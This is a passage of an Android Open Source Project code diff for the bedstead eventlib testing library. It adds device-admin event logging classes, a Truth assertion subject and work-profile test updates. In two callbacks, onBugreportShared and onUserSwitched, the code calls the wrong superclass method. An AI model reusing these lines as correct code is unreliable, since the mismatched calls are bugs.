+
+    /**
+     * The {@link UserHandle} passed into
+     * {@link DeviceAdminReceiver#onUserStopped(Context, Intent, UserHandle)}.
+     */
+    public UserHandle stoppedUser() {
+        if (mStoppedUser == null) {
+            return null;
+        }
+        return mStoppedUser.get();
+    }
+
+    /** Information about the {@link DeviceAdminReceiver} which received the intent. */
+    public DeviceAdminReceiverInfo deviceAdminReceiver() {
+        return mDeviceAdminReceiver;
+    }
+
+    @Override
+    public String toString() {
+        return "DeviceAdminUserStoppedEvent{"
+                + " intent=" + intent()
+                + ", stoppedUser=" + stoppedUser()
+                + ", deviceAdminReceiver=" + mDeviceAdminReceiver
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserSwitchedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserSwitchedEvent.java
new file mode 100644
index 0000000..b7c7ea1
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserSwitchedEvent.java
@@ -0,0 +1,210 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.UserHandle;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.queryable.info.DeviceAdminReceiverInfo;
+import com.android.queryable.queries.DeviceAdminReceiverQuery;
+import com.android.queryable.queries.DeviceAdminReceiverQueryHelper;
+import com.android.queryable.queries.IntentQueryHelper;
+import com.android.queryable.queries.UserHandleQuery;
+import com.android.queryable.queries.UserHandleQueryHelper;
+import com.android.queryable.util.SerializableParcelWrapper;
+
+/**
+ * Event logged when
+ * {@link DeviceAdminReceiver#onUserSwitched(Context, Intent, UserHandle)} is called.
+ */
+public final class DeviceAdminUserSwitchedEvent extends Event {
+
+    private static final long serialVersionUID = 1;
+
+    /** Begins a query for {@link DeviceAdminUserSwitchedEvent} events. */
+    public static DeviceAdminUserSwitchedEventQuery queryPackage(String packageName) {
+        return new DeviceAdminUserSwitchedEventQuery(packageName);
+    }
+
+    /** {@link EventLogsQuery} for {@link DeviceAdminUserSwitchedEvent}. */
+    public static final class DeviceAdminUserSwitchedEventQuery
+            extends EventLogsQuery<DeviceAdminUserSwitchedEvent,
+            DeviceAdminUserSwitchedEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
+        DeviceAdminReceiverQueryHelper<DeviceAdminUserSwitchedEventQuery> mDeviceAdminReceiver =
+                new DeviceAdminReceiverQueryHelper<>(this);
+        IntentQueryHelper<DeviceAdminUserSwitchedEventQuery> mIntent =
+                new IntentQueryHelper<>(this);
+        UserHandleQueryHelper<DeviceAdminUserSwitchedEventQuery> mSwitchedUser =
+                new UserHandleQueryHelper<>(this);
+
+        private DeviceAdminUserSwitchedEventQuery(String packageName) {
+            super(DeviceAdminUserSwitchedEvent.class, packageName);
+        }
+
+        /**
+         * Queries {@link Intent} passed into
+         * {@link DeviceAdminReceiver#onUserSwitched(Context, Intent, UserHandle)}.
+         */
+        @CheckResult
+        public IntentQueryHelper<DeviceAdminUserSwitchedEventQuery> whereIntent() {
+            return mIntent;
+        }
+
+        /** Queries {@link DeviceAdminReceiver}. */
+        @CheckResult
+        public DeviceAdminReceiverQuery<DeviceAdminUserSwitchedEventQuery> whereDeviceAdminReceiver() {
+            return mDeviceAdminReceiver;
+        }
+
+        /** Queries {@link UserHandle} passed into
+         * {@link DeviceAdminReceiver#onUserSwitched(Context, Intent, UserHandle)}.
+         */
+        @CheckResult
+        public UserHandleQuery<DeviceAdminUserSwitchedEventQuery> whereSwitchedUser() {
+            return mSwitchedUser;
+        }
+
+        @Override
+        protected boolean filter(DeviceAdminUserSwitchedEvent event) {
+            if (!mIntent.matches(event.mIntent)) {
+                return false;
+            }
+            if (!mDeviceAdminReceiver.matches(event.mDeviceAdminReceiver)) {
+                return false;
+            }
+            if (!mSwitchedUser.matches(event.mSwitchedUser)) {
+                return false;
+            }
+            return true;
+        }
+
+        @Override
+        public String describeQuery(String fieldName) {
+            return toStringBuilder(DeviceAdminUserSwitchedEvent.class, this)
+                    .field("intent", mIntent)
+                    .field("deviceAdminReceiver", mDeviceAdminReceiver)
+                    .field("switchedUser", mSwitchedUser)
+                    .toString();
+        }
+    }
+
+    /** Begins logging a {@link DeviceAdminUserSwitchedEvent}. */
+    public static DeviceAdminUserSwitchedEventLogger logger(
+            DeviceAdminReceiver deviceAdminReceiver, Context context,
+            Intent intent, UserHandle switchedUser) {
+        return new DeviceAdminUserSwitchedEventLogger(
+                deviceAdminReceiver, context, intent, switchedUser);
+    }
+
+    /** {@link EventLogger} for {@link DeviceAdminUserSwitchedEvent}. */
+    public static final class DeviceAdminUserSwitchedEventLogger
+            extends EventLogger<DeviceAdminUserSwitchedEvent> {
+        private DeviceAdminUserSwitchedEventLogger(
+                DeviceAdminReceiver deviceAdminReceiver, Context context,
+                Intent intent, UserHandle switchedUser) {
+            super(context, new DeviceAdminUserSwitchedEvent());
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            mEvent.mSwitchedUser = new SerializableParcelWrapper<>(switchedUser);
+            setDeviceAdminReceiver(deviceAdminReceiver);
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminUserSwitchedEventLogger setDeviceAdminReceiver(
+                DeviceAdminReceiver deviceAdminReceiver) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiver);
+            return this;
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminUserSwitchedEventLogger setDeviceAdminReceiver(
+                Class<? extends DeviceAdminReceiver> deviceAdminReceiverClass) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClass);
+            return this;
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminUserSwitchedEventLogger setDeviceAdminReceiver(
+                String deviceAdminReceiverClassName) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClassName);
+            return this;
+        }
+
+        /** Sets the {@link Intent} which was received. */
+        public DeviceAdminUserSwitchedEventLogger setIntent(Intent intent) {
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            return this;
+        }
+
+        /** Sets the {@link UserHandle}. */
+        public DeviceAdminUserSwitchedEventLogger setSwitchedUser(UserHandle switchedUser) {
+            mEvent.mSwitchedUser = new SerializableParcelWrapper<>(switchedUser);
+            return this;
+        }
+    }
+
+    protected SerializableParcelWrapper<Intent> mIntent;
+    protected SerializableParcelWrapper<UserHandle> mSwitchedUser;
+    protected DeviceAdminReceiverInfo mDeviceAdminReceiver;
+
+    /**
+     * The {@link Intent} passed into
+     * {@link DeviceAdminReceiver#onUserSwitched(Context, Intent, UserHandle)}.
+     */
+    public Intent intent() {
+        if (mIntent == null) {
+            return null;
+        }
+        return mIntent.get();
+    }
+
+    /**
+     * The {@link UserHandle} passed into
+     * {@link DeviceAdminReceiver#onUserSwitched(Context, Intent, UserHandle)}.
+     */
+    public UserHandle switchedUser() {
+        if (mSwitchedUser == null) {
+            return null;
+        }
+        return mSwitchedUser.get();
+    }
+
+    /** Information about the {@link DeviceAdminReceiver} which received the intent. */
+    public DeviceAdminReceiverInfo deviceAdminReceiver() {
+        return mDeviceAdminReceiver;
+    }
+
+    @Override
+    public String toString() {
+        return "DeviceAdminUserSwitchedEvent{"
+                + " intent=" + intent()
+                + ", switchedUser=" + switchedUser()
+                + ", deviceAdminReceiver=" + mDeviceAdminReceiver
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/premade/EventLibDeviceAdminReceiver.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/premade/EventLibDeviceAdminReceiver.java
index 5f99c04..8648a01 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/premade/EventLibDeviceAdminReceiver.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/premade/EventLibDeviceAdminReceiver.java
@@ -24,13 +24,32 @@
 import android.os.UserHandle;
 
 import com.android.eventlib.events.broadcastreceivers.BroadcastReceivedEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminBugreportFailedEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminBugreportSharedEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminBugreportSharingDeclinedEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminChoosePrivateKeyAliasEvent;
 import com.android.eventlib.events.deviceadminreceivers.DeviceAdminDisableRequestedEvent;
 import com.android.eventlib.events.deviceadminreceivers.DeviceAdminDisabledEvent;
 import com.android.eventlib.events.deviceadminreceivers.DeviceAdminEnabledEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminLockTaskModeEnteringEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminLockTaskModeExitingEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminNetworkLogsAvailableEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminOperationSafetyStateChangedEvent;
 import com.android.eventlib.events.deviceadminreceivers.DeviceAdminPasswordChangedEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminPasswordExpiringEvent;
 import com.android.eventlib.events.deviceadminreceivers.DeviceAdminPasswordFailedEvent;
 import com.android.eventlib.events.deviceadminreceivers.DeviceAdminPasswordSucceededEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminProfileProvisioningCompleteEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminReadyForUserInitializationEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminSecurityLogsAvailableEvent;
 import com.android.eventlib.events.deviceadminreceivers.DeviceAdminSystemUpdatePendingEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminTransferOwnershipCompleteEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminUserAddedEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminUserRemovedEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminUserStartedEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminUserStoppedEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminUserSwitchedEvent;
 
 /** Implementation of {@link DeviceAdminReceiver} which logs events in response to callbacks. */
 public class EventLibDeviceAdminReceiver extends DeviceAdminReceiver {
@@ -42,6 +61,19 @@
         mOverrideDeviceAdminReceiverClassName = overrideDeviceAdminReceiverClassName;
     }
 
+    /**
+     * Get the class name for this {@link DeviceAdminReceiver}.
+     *
+     * <p>This will account for the name being overridden.
+     */
+    public String className() {
+        if (mOverrideDeviceAdminReceiverClassName != null) {
+            return mOverrideDeviceAdminReceiverClassName;
+        } else {
+            return EventLibDeviceAdminReceiver.class.getName();
+        }
+    }
+
     @Override
     public void onEnabled(Context context, Intent intent) {
         DeviceAdminEnabledEvent.DeviceAdminEnabledEventLogger logger =
@@ -167,38 +199,106 @@
 
     @Override
     public void onPasswordExpiring(Context context, Intent intent) {
+        DeviceAdminPasswordExpiringEvent.DeviceAdminPasswordExpiringEventLogger logger =
+                DeviceAdminPasswordExpiringEvent.logger(this, context, intent);
+
+        if (mOverrideDeviceAdminReceiverClassName != null) {
+            logger.setDeviceAdminReceiver(mOverrideDeviceAdminReceiverClassName);
+        }
+
+        logger.log();
+
         super.onPasswordExpiring(context, intent);
     }
 
     @Override
     public void onPasswordExpiring(Context context, Intent intent, UserHandle user) {
-        super.onPasswordExpiring(context, intent, user);
+        DeviceAdminPasswordExpiringEvent.DeviceAdminPasswordExpiringEventLogger logger =
+                DeviceAdminPasswordExpiringEvent.logger(this, context, intent);
+        logger.setUserHandle(user);
+
+        if (mOverrideDeviceAdminReceiverClassName != null) {
+            logger.setDeviceAdminReceiver(mOverrideDeviceAdminReceiverClassName);
+        }
+
+        logger.log();
     }
 
     @Override
     public void onProfileProvisioningComplete(Context context, Intent intent) {
+        DeviceAdminProfileProvisioningCompleteEvent.DeviceAdminProfileProvisioningCompleteEventLogger logger =
+                DeviceAdminProfileProvisioningCompleteEvent.logger(this, context, intent);
+
+        if (mOverrideDeviceAdminReceiverClassName != null) {
+            logger.setDeviceAdminReceiver(mOverrideDeviceAdminReceiverClassName);
+        }
+
+        logger.log();
+
         super.onProfileProvisioningComplete(context, intent);
     }
 
     @Override
     public void onReadyForUserInitialization(Context context, Intent intent) {
+        DeviceAdminReadyForUserInitializationEvent.DeviceAdminReadyForUserInitializationEventLogger logger =
+                DeviceAdminReadyForUserInitializationEvent.logger(this, context, intent);
+
+        if (mOverrideDeviceAdminReceiverClassName != null) {
+            logger.setDeviceAdminReceiver(mOverrideDeviceAdminReceiverClassName);
+        }
+
+        logger.log();
+
         super.onReadyForUserInitialization(context, intent);
     }
 
     @Override
     public void onLockTaskModeEntering(Context context, Intent intent, String pkg) {
+        DeviceAdminLockTaskModeEnteringEvent.DeviceAdminLockTaskModeEnteringEventLogger logger =
+                DeviceAdminLockTaskModeEnteringEvent.logger(this, context, intent, pkg);
+
+        if (mOverrideDeviceAdminReceiverClassName != null) {
+            logger.setDeviceAdminReceiver(mOverrideDeviceAdminReceiverClassName);
+        }
+
+        logger.log();
+
         super.onLockTaskModeEntering(context, intent, pkg);
     }
 
     @Override
     public void onLockTaskModeExiting(Context context, Intent intent) {
+        DeviceAdminLockTaskModeExitingEvent.DeviceAdminLockTaskModeExitingEventLogger logger =
+                DeviceAdminLockTaskModeExitingEvent.logger(this, context, intent);
+
+        if (mOverrideDeviceAdminReceiverClassName != null) {
+            logger.setDeviceAdminReceiver(mOverrideDeviceAdminReceiverClassName);
+        }
+
+        logger.log();
+
         super.onLockTaskModeExiting(context, intent);
     }
 
     @Override
     public String onChoosePrivateKeyAlias(Context context, Intent intent, int uid, Uri uri,
             String alias) {
-        return super.onChoosePrivateKeyAlias(context, intent, uid, uri, alias);
+        DeviceAdminChoosePrivateKeyAliasEvent.DeviceAdminChoosePrivateKeyAliasEventLogger logger =
+                DeviceAdminChoosePrivateKeyAliasEvent
+                        .logger(this, context, intent, uid, uri, alias);
+
+        if (mOverrideDeviceAdminReceiverClassName != null) {
+            logger.setDeviceAdminReceiver(mOverrideDeviceAdminReceiverClassName);
+        }
+
+        logger.log();
+
+        // TODO(b/198280332) Allow TestApp to return values for methods.
+        super.onChoosePrivateKeyAlias(context, intent, uid, uri, alias);
+        if (uri == null) {
+            return null;
+        }
+        return uri.getQueryParameter("alias");
     }
 
     @Override
@@ -217,67 +317,187 @@
 
     @Override
     public void onBugreportSharingDeclined(Context context, Intent intent) {
+        DeviceAdminBugreportSharingDeclinedEvent.DeviceAdminBugreportSharingDeclinedEventLogger logger =
+                DeviceAdminBugreportSharingDeclinedEvent.logger(this, context, intent);
+
+        if (mOverrideDeviceAdminReceiverClassName != null) {
+            logger.setDeviceAdminReceiver(mOverrideDeviceAdminReceiverClassName);
+        }
+
+        logger.log();
+
         super.onBugreportSharingDeclined(context, intent);
     }
 
     @Override
     public void onBugreportShared(Context context, Intent intent, String bugreportHash) {
-        super.onBugreportShared(context, intent, bugreportHash);
+        DeviceAdminBugreportSharedEvent.DeviceAdminBugreportSharedEventLogger logger =
+                DeviceAdminBugreportSharedEvent.logger(this, context, intent, bugreportHash);
+
+        if (mOverrideDeviceAdminReceiverClassName != null) {
+            logger.setDeviceAdminReceiver(mOverrideDeviceAdminReceiverClassName);
+        }
+
+        logger.log();
+
+        super.onBugreportSharingDeclined(context, intent);
     }
 
     @Override
     public void onBugreportFailed(Context context, Intent intent, int failureCode) {
+        DeviceAdminBugreportFailedEvent.DeviceAdminBugreportFailedEventLogger logger =
+                DeviceAdminBugreportFailedEvent.logger(this, context, intent, failureCode);
+
+        if (mOverrideDeviceAdminReceiverClassName != null) {
+            logger.setDeviceAdminReceiver(mOverrideDeviceAdminReceiverClassName);
+        }
+
+        logger.log();
+
         super.onBugreportFailed(context, intent, failureCode);
     }
 
     @Override
     public void onSecurityLogsAvailable(Context context, Intent intent) {
+        DeviceAdminSecurityLogsAvailableEvent.DeviceAdminSecurityLogsAvailableEventLogger logger =
+                DeviceAdminSecurityLogsAvailableEvent.logger(this, context, intent);
+
+        if (mOverrideDeviceAdminReceiverClassName != null) {
+            logger.setDeviceAdminReceiver(mOverrideDeviceAdminReceiverClassName);
+        }
+
+        logger.log();
+
         super.onSecurityLogsAvailable(context, intent);
     }
 
     @Override
     public void onNetworkLogsAvailable(Context context, Intent intent, long batchToken,
             int networkLogsCount) {
+        DeviceAdminNetworkLogsAvailableEvent.DeviceAdminNetworkLogsAvailableEventLogger logger =
+                DeviceAdminNetworkLogsAvailableEvent
+                        .logger(this, context, intent, batchToken, networkLogsCount);
+
+        if (mOverrideDeviceAdminReceiverClassName != null) {
+            logger.setDeviceAdminReceiver(mOverrideDeviceAdminReceiverClassName);
+        }
+
+        logger.log();
+
         super.onNetworkLogsAvailable(context, intent, batchToken, networkLogsCount);
     }
 
     @Override
     public void onUserAdded(Context context, Intent intent, UserHandle addedUser) {
+        DeviceAdminUserAddedEvent.DeviceAdminUserAddedEventLogger logger =
+                DeviceAdminUserAddedEvent.logger(this, context, intent, addedUser);
+
+        if (mOverrideDeviceAdminReceiverClassName != null) {
+            logger.setDeviceAdminReceiver(mOverrideDeviceAdminReceiverClassName);
+        }
+
+        logger.log();
+
         super.onUserAdded(context, intent, addedUser);
     }
 
     @Override
     public void onUserRemoved(Context context, Intent intent, UserHandle removedUser) {
+        DeviceAdminUserRemovedEvent.DeviceAdminUserRemovedEventLogger logger =
+                DeviceAdminUserRemovedEvent.logger(this, context, intent, removedUser);
+
+        if (mOverrideDeviceAdminReceiverClassName != null) {
+            logger.setDeviceAdminReceiver(mOverrideDeviceAdminReceiverClassName);
+        }
+
+        logger.log();
+
         super.onUserRemoved(context, intent, removedUser);
     }
 
     @Override
     public void onUserStarted(Context context, Intent intent, UserHandle startedUser) {
+        DeviceAdminUserStartedEvent.DeviceAdminUserStartedEventLogger logger =
+                DeviceAdminUserStartedEvent.logger(this, context, intent, startedUser);
+
+        if (mOverrideDeviceAdminReceiverClassName != null) {
+            logger.setDeviceAdminReceiver(mOverrideDeviceAdminReceiverClassName);
+        }
+
+        logger.log();
+
         super.onUserStarted(context, intent, startedUser);
     }
 
     @Override
     public void onUserStopped(Context context, Intent intent, UserHandle stoppedUser) {
+        DeviceAdminUserStoppedEvent.DeviceAdminUserStoppedEventLogger logger =
+                DeviceAdminUserStoppedEvent.logger(this, context, intent, stoppedUser);
+
+        if (mOverrideDeviceAdminReceiverClassName != null) {
+            logger.setDeviceAdminReceiver(mOverrideDeviceAdminReceiverClassName);
+        }
+
+        logger.log();
+
         super.onUserStopped(context, intent, stoppedUser);
     }
 
     @Override
     public void onUserSwitched(Context context, Intent intent, UserHandle switchedUser) {
-        super.onUserSwitched(context, intent, switchedUser);
+        DeviceAdminUserSwitchedEvent.DeviceAdminUserSwitchedEventLogger logger =
+                DeviceAdminUserSwitchedEvent.logger(this, context, intent, switchedUser);
+
+        if (mOverrideDeviceAdminReceiverClassName != null) {
+            logger.setDeviceAdminReceiver(mOverrideDeviceAdminReceiverClassName);
+        }
+
+        logger.log();
+
+        super.onUserRemoved(context, intent, switchedUser);
     }
 
     @Override
     public void onTransferOwnershipComplete(Context context, PersistableBundle bundle) {
+        DeviceAdminTransferOwnershipCompleteEvent.DeviceAdminTransferOwnershipCompleteEventLogger logger =
+                DeviceAdminTransferOwnershipCompleteEvent.logger(this, context, bundle);
+
+        if (mOverrideDeviceAdminReceiverClassName != null) {
+            logger.setDeviceAdminReceiver(mOverrideDeviceAdminReceiverClassName);
+        }
+
+        logger.log();
+
         super.onTransferOwnershipComplete(context, bundle);
     }
 
     @Override
     public void onTransferAffiliatedProfileOwnershipComplete(Context context, UserHandle user) {
+        DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent.DeviceAdminTransferAffiliatedProfileOwnershipCompleteEventLogger logger =
+                DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent
+                        .logger(this, context, user);
+
+        if (mOverrideDeviceAdminReceiverClassName != null) {
+            logger.setDeviceAdminReceiver(mOverrideDeviceAdminReceiverClassName);
+        }
+
+        logger.log();
+
         super.onTransferAffiliatedProfileOwnershipComplete(context, user);
     }
 
     @Override
     public void onOperationSafetyStateChanged(Context context, int reason, boolean isSafe) {
+        DeviceAdminOperationSafetyStateChangedEvent.DeviceAdminOperationSafetyStateChangedEventLogger logger =
+                DeviceAdminOperationSafetyStateChangedEvent
+                        .logger(this, context, reason, isSafe);
+
+        if (mOverrideDeviceAdminReceiverClassName != null) {
+            logger.setDeviceAdminReceiver(mOverrideDeviceAdminReceiverClassName);
+        }
+
+        logger.log();
+
         super.onOperationSafetyStateChanged(context, reason, isSafe);
     }
 
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/truth/EventLogsSubject.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/truth/EventLogsSubject.java
new file mode 100644
index 0000000..15d6f61
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/truth/EventLogsSubject.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.truth;
+
+import static com.google.common.truth.Truth.assertAbout;
+
+import androidx.annotation.Nullable;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogs;
+
+import com.google.common.truth.Fact;
+import com.google.common.truth.FailureMetadata;
+import com.google.common.truth.Subject;
+
+import java.time.Duration;
+
+/** {@link Subject} for queries about {@link EventLogs}. */
+public final class EventLogsSubject<E extends Event> extends Subject {
+
+    /**
+     * Assertions about {@link EventLogs}.
+     */
+    public static <F extends Event> Factory<EventLogsSubject<F>, EventLogs<F>> eventLogs() {
+        return EventLogsSubject::new;
+    }
+
+    /**
+     * Assertions about {@link EventLogs}.
+     */
+    public static <F extends Event> EventLogsSubject<F> assertThat(@Nullable EventLogs<F> actual) {
+        return assertAbout(EventLogsSubject.<F>eventLogs()).that(actual);
+    }
+
+    @Nullable private final EventLogs<E> mActual;
+
+    private EventLogsSubject(FailureMetadata metadata, @Nullable EventLogs<E> actual) {
+        super(metadata, actual);
+        this.mActual = actual;
+    }
+
+    /**
+     * Asserts that an event occurred (that {@link EventLogs#poll()} returns non-null).
+     */
+    public E eventOccurred() {
+        E event = mActual.poll();
+
+        if (event == null) {
+            fail();
+        }
+
+        return event;
+    }
+
+    /**
+     * Asserts that an event occurred (that {@link EventLogs#poll(Duration)} returns non-null).
+     */
+    public E eventOccurredWithin(Duration timeout) {
+        E event = mActual.poll(timeout);
+
+        if (event == null) {
+            fail();
+        }
+
+        return event;
+    }
+
+    private void fail() {
+        // TODO(b/197315353): Add non-matching events
+        failWithoutActual(Fact.simpleFact("Expected event to have occurred matching: "
+                + mActual + " but it did not occur."));
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/EventLogsTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/EventLogsTest.java
index 9bec756..54a383c 100644
--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/EventLogsTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/EventLogsTest.java
@@ -28,28 +28,32 @@
 import android.content.Intent;
 import android.os.UserHandle;
 
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.EnsureHasWorkProfile;
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.users.UserReference;
-import com.android.bedstead.nene.users.UserType;
 import com.android.compatibility.common.util.SystemUtil;
 import com.android.eventlib.events.CustomEvent;
 
 import org.junit.After;
-import org.junit.AfterClass;
 import org.junit.Before;
-import org.junit.BeforeClass;
-import org.junit.Ignore;
+import org.junit.ClassRule;
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
 
 import java.time.Duration;
 import java.util.concurrent.Executors;
 import java.util.concurrent.ScheduledExecutorService;
 import java.util.concurrent.TimeUnit;
 
-@RunWith(JUnit4.class)
+@RunWith(BedsteadJUnit4.class)
 public class EventLogsTest {
+
+    @ClassRule @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+
     private static final String TEST_APP_PACKAGE_NAME = "com.android.eventlib.tests.testapp";
     private static final String INCORRECT_PACKAGE_NAME = "com.android.eventlib.tests.notapackage";
     private static final UserHandle NON_EXISTING_USER_HANDLE = UserHandle.of(1000);
@@ -65,22 +69,7 @@
     private boolean hasScheduledEventsOnTestApp = false;
     private final ScheduledExecutorService mScheduledExecutorService =
             Executors.newSingleThreadScheduledExecutor();
-    private static final TestApis sTestApis = new TestApis();
-    private static final Context sContext = sTestApis.context().instrumentedContext();
-    private static final UserReference sProfile = sTestApis.users().createUser()
-            .parent(sTestApis.users().instrumented())
-            .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
-            .createAndStart();
-
-    @BeforeClass
-    public static void setupClass() {
-        sTestApis.packages().find(TEST_APP_PACKAGE_NAME).install(sProfile);
-    }
-
-    @AfterClass
-    public static void teardownClass() {
-        sProfile.remove();
-    }
+    private static final Context sContext = TestApis.context().instrumentedContext();
 
     @Before
     public void setUp() {
@@ -499,7 +488,6 @@
     }
 
     @Test
-    @Ignore("Restore when this functionality is restored")
     public void otherProcessGetsKilled_stillReturnsLogs() {
         logCustomEventOnTestApp(/* tag= */ null, /* data= */ null);
 
@@ -509,7 +497,6 @@
     }
 
     @Test
-    @Ignore("Restore when this functionality is restored")
     public void otherProcessGetsKilledMultipleTimes_stillReturnsOriginalLog() {
         logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
         killTestApp();
@@ -521,7 +508,6 @@
     }
 
     @Test
-    @Ignore("Restore when this functionality is restored")
     public void otherProcessGetsKilled_returnsLogsInCorrectOrder() {
         logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
         logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
@@ -533,7 +519,6 @@
     }
 
     @Test
-    @Ignore("Restore when this functionality is restored")
     public void otherProcessGetsKilledMultipleTimes_returnsLogsInCorrectOrder() {
         logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
         killTestApp();
@@ -546,32 +531,41 @@
     }
 
     @Test
+    @EnsureHasWorkProfile
     public void differentUser_queryWorks() {
-        logCustomEventOnTestApp(sProfile, /* tag= */ TEST_TAG1, /* data= */ null);
+        TestApis.packages().find(TEST_APP_PACKAGE_NAME).installExisting(sDeviceState.workProfile());
+        logCustomEventOnTestApp(
+                sDeviceState.workProfile(), /* tag= */ TEST_TAG1, /* data= */ null);
 
         EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
-                .onUser(sProfile);
+                .onUser(sDeviceState.workProfile());
 
         assertThat(eventLogs.poll().tag()).isEqualTo(TEST_TAG1);
     }
 
     @Test
+    @EnsureHasWorkProfile
     public void differentUserSpecifiedByUserHandle_queryWorks() {
-        logCustomEventOnTestApp(sProfile, /* tag= */ TEST_TAG1, /* data= */ null);
+        TestApis.packages().find(TEST_APP_PACKAGE_NAME).installExisting(sDeviceState.workProfile());
+        logCustomEventOnTestApp(
+                sDeviceState.workProfile(), /* tag= */ TEST_TAG1, /* data= */ null);
 
         EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
-                .onUser(sProfile.userHandle());
+                .onUser(sDeviceState.workProfile().userHandle());
 
         assertThat(eventLogs.poll().tag()).isEqualTo(TEST_TAG1);
     }
 
     @Test
+    @EnsureHasWorkProfile
     public void differentUser_doesntGetEventsFromWrongUser() {
+        TestApis.packages().find(TEST_APP_PACKAGE_NAME).installExisting(sDeviceState.workProfile());
         logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
-        logCustomEventOnTestApp(sProfile, /* tag= */ TEST_TAG2, /* data= */ null);
+        logCustomEventOnTestApp(
+                sDeviceState.workProfile(), /* tag= */ TEST_TAG2, /* data= */ null);
 
